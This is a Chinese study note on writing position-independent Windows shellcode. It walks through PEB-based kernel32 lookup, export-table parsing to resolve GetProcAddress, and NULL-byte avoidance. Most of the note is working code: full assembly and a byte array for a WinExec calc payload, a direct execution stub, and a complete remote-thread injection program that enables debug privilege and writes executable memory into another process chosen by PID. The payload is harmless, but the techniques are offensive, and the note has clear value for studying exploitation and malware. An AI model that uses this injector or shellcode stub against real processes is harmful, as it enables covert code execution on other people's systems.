前言:作為shellcode編寫的筆記
參考文章:https://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/
整體學下來的感受:
1、數據交互都在堆棧
2、盡量避免硬編碼00的產生,影響可能會影響shellcode的執行效果
3、每次調用完都盡量保持平衡,但並不是一定需要,比如你自己拿到一個重要的地址,類似XXX地址模塊,那么就可以將其壓入堆棧中進行保存,整體ESP-4,后續得話就以ESP-4來保持平衡即可
shellcode的編寫原則
測試代碼如下:
#include<windows.h>
int main(int argc, char* argv[])
{
system("dir");
return 0;
}
因為編譯器正常設置編譯完的程序會默認帶有一些安全設置,就比如checkEsp,相關的調用約定的函數調用完都有檢查堆棧是否平衡等
重新來看下,就發現相關的檢查堆棧的硬編碼就已經不在了
不能有全局變量
因為我們編寫shellcode時,使用的全局變量是自己的進程里面的全局變量,注入到別的進程里,這個地址就沒用了,因為一個進程啟動會把字符串放置在一個特定的Section中(如.rdata或.data),而這個特定的節只有當前的進程知道如何尋找,其他的進程不知道如何尋找
所以通過這個點我們知道,我們需要的相關變量都需要是在堆棧中進行存儲,比如要使用字符串的話,那么就需要使用字符數組來進行解決
char s[] = "12";
-> char s[] = {'1','2','\0'};
不能直接調用系統函數
在 C/C++ 中,調用函數很容易。我們指定#include <>
以使用特定的標頭並通過其名稱調用函數。
在后台,編譯器和鏈接器處理了這個問題:它們解析函數的地址(例如來自user32.dll的MessageBox),我們可以很容易地通過它們的名稱調用這些函數。
在 shellcode 中,我們不能這樣做。我們不知道包含我們所需函數的 DLL 是否已加載到內存中,我們也不知道所需函數的地址。由於ASLR(地址空間布局隨機化),DLL 不會每次都加載到相同的地址。此外,DLL 可能會隨着每個新的 Windows 更新而更改,因此我們不能依賴 DLL 中的特定偏移量。
我們必須將 DLL 加載到內存中,並直接從 shellcode 中找到所需的函數。幸運的是,Windows API提供了兩個有用的函數:LoadLibrary和GetProcAddress,我們可以使用它們來查找函數的地址。
但是 LoadLibrary,GetProcAddress 本身就是系統函數,它們本身就依賴IAT表,咋辦呢?
解決方案是這樣的:通過FS:[0x30] 找到PEB,然后通過PEB里的LDR鏈表 [PEB+0x0C]找到 kernel32.dll 的地址,然后我們遍歷它的 IAT表,找到 LoadLibrary 和 GetProcAddress 函數
避免NULL字節
NULL 字節的值為 0x00。在 C/C++ 代碼中,NULL 字節被認為是字符串的終止符。因此,shellcode 中這些字節的存在可能會干擾目標應用程序的功能,並且我們的 shellcode 可能無法正確復制到內存中。
即使這種情況不是強制性的,也存在使用strcpy () 函數的常見情況,例如緩沖區溢出。此函數將逐字節復制字符串,並在遇到 NULL 字節時停止。因此,如果 shellcode 包含一個 NULL 字節,strcpy 函數將在該字節處停止,並且 shellcode 將不完整,正如您可以猜到的那樣,它將無法正常工作。
上圖中的兩條指令在功能上是等價的,但是第一個包含 NULL 字節,而第二個不包含。即使 NULL 字節在編譯代碼中很常見,避免它們也不是那么難。
此外,在某些特定情況下,shellcode 必須避免使用字符,例如 \r
或 \n
,甚至只能使用字母數字字符。
所以這里如果使用到的mov eax,0
都需要使用xor eax,eax
來進行替代,這樣避免NULL字節的出現
匯編簡單實現system函數
如下代碼所示,然后這種的話並不算是shellcode,因為還有一定的局限性,默認調用的函數地址是不知道的
#include<windows.h>
int main(int argc, char* argv[])
{
char buffer[] = {'d','i','r','\0'};
system(buffer);
return 0;
}
這里直接將上面對應的匯編扣下來進行測試
#include<windows.h>
DWORD g_dwSystemAddr = 0;
__declspec(naked) void test01()
{
__asm
{
push ebp
mov ebp, esp
xor ebx, ebx
push ebx
mov byte ptr[ebp - 04h], 64h
mov byte ptr[ebp - 03h], 69h
mov byte ptr[ebp - 02h], 72h
lea ebx, [ebp - 04h]
push ebx
mov ebx, g_dwSystemAddr
call ebx
; 恢復堆棧
add esp, 0x4; 恢復esp
pop ebx
mov esp,ebp
mov esp,ebp
retn
}
}
int main(int argc, char* argv[])
{
HMODULE hModule = LoadLibrary("msvcrt.dll");
g_dwSystemAddr = (DWORD)GetProcAddress(hModule, "system");
test01();
return 0;
}
Shellcode通用實現
為了創建可靠的 shellcode,需要如下步驟的支持:
- 獲取 kernel32.dll 基地址
- 查找GetProcAddress函數的地址
- 使用GetProcAddress查找LoadLibrary函數的地址
- 使用LoadLibrary加載 DLL(例如kernel32.dll)
- 使用GetProcAddress查找函數的地址(例如MessageBox)
- 指定函數參數
- 調用函數
編寫Shellcode不是只為了在本機上運行,而是不依賴環境,需要通用於任何機器。所以,我們需要不依賴外部查找函數地址,那么,我們需要一段代碼能夠自己定位任意函數地址。
那么這里就需要通過fs:[0x30]來獲得相關的LDR_MODULE,然后來遍歷相關模塊DLL中的導出表來獲得函數了,通過這種方法可以擺脫函數地址的局限性
獲取kernel32.dll
獲取kernel32.dll就是通過PEB_LDR_DATA的結構體,因為它其中有三個類似的雙向鏈表,其中都存儲着相關加載模塊的信息,通過遍歷就可以進行獲取指定模塊的基址,模塊大小等信息
xor ecx, ecx ; 繞過空字節的發生
mov eax, fs:[ecx + 0x30] ; 拿到PEB結構體
mov eax, [eax + 0xc] ; 拿到_PEB_LDR_DATA結構體
mov esi, [eax + 0x14] ; 獲取LDR結構體中的InMemoryOrderModuleList鏈表
lodsd ; EAX = ds:[esi],也就是InMemoryOrderModuleList指向的下一個LDR_MODULE的鏈表
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
這里可能會有一個疑問,為什么不直接給寄存器mov一個fs:[0x30],而是先xor esi, esi
,然后通過fs:30h+esi
來進行賦值
mov eax,fs:[30]
指令將組裝成以下操作碼序列:64 A1 30 00 00 00
,因此我們有空字節,而mov eax, fs:[ecx+0x30]
的指令為64 8B 41 30
。所以這種方式可以避免 NULL 字節。
PEB和PEB_LDR_DATA和PEB_LDR_MODULE的關系圖如下所示
獲取導出表的位置
mov edx, [ebx + 0x3c] ; edx = DOS->e_lfanew,DOS結構體的最后一個成員指向的就是PE Header
add edx, ebx ; edx = PE Header
mov edx, [edx + 0x78] ; edx = 獲得一個8個字節的導出表的結構體中的Virtual Address
add edx, ebx ; edx = 獲得Virtual Address所指向的導出表的起始地址
mov esi, [edx + 0x20] ; esi = IMAGE_EXPORT_DIRECTORY.NumberOfNames地址中的偏移值,也就是RVA
add esi, ebx ; esi = 基址+RVA的值保存在 esi 寄存器
xor ecx, ecx ; ecx = 0
查找 GetProcAddress 函數名稱
學過PE大家肯定都了解遍歷導出表,然后通過尋找GetProcAddress的思路,其中的一個實現方法就是通過導出函數名稱表,再對應到導出函數序號表,最后從導出函數地址表中尋找。
導出函數名稱表中找到GetProcAddress的名稱,ecx則代表當前尋找的下標,如果找到了的話那么ecx就是當前要找函數的下標
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
查找 GetProcAddress 函數的地址
接着導出函數序號表中進行尋找,這里通過上面獲得的ecx來繼續尋找,這里說下為什么*2
,原因就是一個序號是占兩個字節的,*4
的話就是函數地址是占4個字節
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c] ; ESI = Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
找到LoadLibrary函數地址
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
加載 user32.dll 庫
add esp, 0xc ; pop "LoadLibraryA"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibraryA
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")
之后你想要加載什么庫只需要如下的地方進行修改即可
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
測試獲取SwapMouseButton函數地址
到這里之后就非常的輕松了,因為已經拿到了user32.dll的模塊,並且GetProcAddress也拿到了,之后每次需要獲取user32.dll的函數的時候只需要執行下面的代碼即可
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx
mov ecx, 0x616E6F74 ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265 ; eBut
push 0x73756F4D ; Mous
push 0x70617753 ; Swap
push esp ; "SwapMouseButton"
push eax ; user32.dll address
call edx ; GetProc(SwapMouseButton)
調用SwapMouseButton
add esp, 0x14 ; Cleanup stack
xor ecx, ecx ; ECX = 0
inc ecx ; true
push ecx ; 1
call eax ; Swap!
獲取 ExitProcess 函數地址
執行完要執行的程序了之后,還需要進行結束進程的操作,這里還需要結束自身
add esp, 0x4 ; 這里是清理上面壓入的參數使用的
pop edx ; 重新彈出GetProcAddress地址,繼續使用該函數來獲取ExitProcess
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
調用 ExitProcess 函數
最后,我們這樣調用 ExitProcess 函數,結束自身
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
最終的shellcode
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
add esp, 0xc ; pop "LoadLibrary"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx
mov ecx, 0x616E6F74 ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265 ; eBut
push 0x73756F4D ; Mous
push 0x70617753 ; Swap
push esp ; "SwapMouseButton"
push eax ; user32.dll address
call edx ; GetProc(SwapMouseButton)
add esp, 0x14 ; Cleanup stack
xor ecx, ecx ; ECX = 0
inc ecx ; true
push ecx ; 1
call eax ; Swap!
add esp, 0x4 ; Clean stack
pop edx ; GetProcAddress
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
WinExec執行計算器calc
#include<windows.h>
int main(int argc, char* argv[])
{
__asm
{
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
add esp, 0xc ; pop "LoadLibrary"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibrary
push ecx
push 0x6c6c642e; .dll
push 0x32336c65; el32
push 0x6e72656b; kern
push esp; "kernel32.dll"
call eax; LoadLibrary("kernel32.dll")
add esp, 0xC ; Clean stack
pop ecx;
mov edx, [esp + 0x4] ; EDX = GetProcAddress
push edx
xor ecx, ecx ; ECX = 0
push ecx
mov ecx, 61636578h
push ecx ; xeca
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 456e6957h
push esp ; "WinExec"
push eax ; kernel32.dll address
call edx ; GetProcAddress(WinExec)
add esp, 0x8 ; Cleanup stack
pop ecx;
xor ecx, ecx ; ECX = 0
xor ebx, ebx
push ecx
push 0x6578652e
push 0x636c6163
push 0x5c32336d
push 0x65747379
push 0x535c7377
push 0x6f646e69
push 0x575c3a43
mov ebx, esp
push 0xa
push ebx
call eax ; calc
add esp, 0x1C; Clean stack
pop ecx;
xor ecx,ecx
xor ebx,ebx
mov eax, dword ptr[esp+0xC]
mov edx, dword ptr[esp]
mov ecx, 0x61737365; essa
push ecx;
sub dword ptr[esp + 0x3], 0x61; Remove "a"
push 0x636f7250; Proc
push 0x74697845; Exit
push esp; ExitProcess
push eax; kernel32.dll base address
call edx; GetProc(ExitProcess)
xor ecx, ecx; ECX = 0
push ecx; Return code = 0
call eax; ExitProcess
}
return 0;
}
如何實現提取機器碼
有時候純手寫匯編會很慢的,所以如果我們能寫代碼然后轉換為匯編的話,又或者想要提取匯編中的硬編碼的時候就需要用到
#include<windows.h>
_declspec(naked) void test02()
{
__asm
{
xor ecx, ecx
....
....
....
call eax; ExitProcess
}
}
void printHexArray(PVOID startAddr, size_t nBytes)
{
for (size_t i = 0; i < nBytes; i++)
{
printf("0x%02X, ", ((PBYTE)startAddr)[i]);
if ((i + 1) % 16 == 0)
printf("\n");
}
}
int main(int argc, char* argv[])
{
printHexArray((PVOID)test02, 0x103);
return 0;
}
硬編碼提取實現WinExec執行計算器calc
#include <stdio.h>
int main(int argc, char* argv[])
{
//printHexArray((PVOID)test02, 0x103);
//test02();
unsigned char shellcode[] = {
0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B,
0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81,
0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72, 0x65, 0x75,
0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3,
0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68,
0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C,
0x59, 0x50, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x65, 0x6C, 0x33, 0x32, 0x68, 0x6B, 0x65,
0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x59, 0x8B, 0x54, 0x24, 0x04, 0x52, 0x33, 0xC9,
0x51, 0xB9, 0x78, 0x65, 0x63, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61, 0x68, 0x57, 0x69, 0x6E,
0x45, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4, 0x08, 0x59, 0x33, 0xC9, 0x33, 0xDB, 0x51, 0x68, 0x2E,
0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73,
0x74, 0x65, 0x68, 0x77, 0x73, 0x5C, 0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C,
0x57, 0x8B, 0xDC, 0x6A, 0x0A, 0x53, 0xFF, 0xD0, 0x83, 0xC4, 0x1C, 0x59, 0x33, 0xC9, 0x33, 0xDB,
0x8B, 0x44, 0x24, 0x0C, 0x8B, 0x14, 0x24, 0xB9, 0x65, 0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24,
0x03, 0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x50, 0xFF, 0xD2,
0x33, 0xC9, 0x51, 0xFF, 0xD0 };
((void(*)(void))shellcode)();
return 0;
}
遠程線程注入shellcode
為了測試shellcode的通用,這里還進行繼續來進行測試,將shellcode注入到其他進程中來進行運行
#include<stdio.h>
#include<windows.h>
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk=FALSE;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount=1;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
fOk=(GetLastError()==ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
int main(int argc, char* argv[])
{
DWORD dwWritten;
DWORD dwProcessPid;
HANDLE hProcess;
PVOID pAddr;
unsigned char shellcode[] = {
0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B,
0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81,
0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72, 0x65, 0x75,
0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3,
0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68,
0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C,
0x59, 0x50, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x65, 0x6C, 0x33, 0x32, 0x68, 0x6B, 0x65,
0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x59, 0x8B, 0x54, 0x24, 0x04, 0x52, 0x33, 0xC9,
0x51, 0xB9, 0x78, 0x65, 0x63, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61, 0x68, 0x57, 0x69, 0x6E,
0x45, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4, 0x08, 0x59, 0x33, 0xC9, 0x33, 0xDB, 0x51, 0x68, 0x2E,
0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73,
0x74, 0x65, 0x68, 0x77, 0x73, 0x5C, 0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C,
0x57, 0x8B, 0xDC, 0x6A, 0x0A, 0x53, 0xFF, 0xD0, 0x83, 0xC4, 0x1C, 0x59, 0x33, 0xC9, 0x33, 0xDB,
0x8B, 0x44, 0x24, 0x0C, 0x8B, 0x14, 0x24, 0xB9, 0x65, 0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24,
0x03, 0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x50, 0xFF, 0xD2,
0x33, 0xC9, 0x51, 0xFF, 0xD0 };
EnableDebugPrivilege();
printf("Injection Pid: ");
scanf("%d", &dwProcessPid);
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessPid);
pAddr = VirtualAllocEx(hProcess,0,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess,pAddr,shellcode,0x105,&dwWritten);
CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)pAddr,0,0,0);
system("pause");
return 0;
}